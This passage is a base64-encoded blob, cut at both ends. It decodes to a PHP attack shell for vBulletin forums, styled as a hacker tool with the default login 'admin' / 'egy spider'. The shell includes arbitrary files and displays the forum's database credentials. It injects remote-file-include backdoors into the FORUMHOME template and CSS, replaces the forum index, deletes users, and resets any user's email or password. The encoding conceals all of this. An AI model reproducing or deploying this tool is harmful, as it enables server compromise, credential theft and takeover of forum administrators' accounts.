0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiI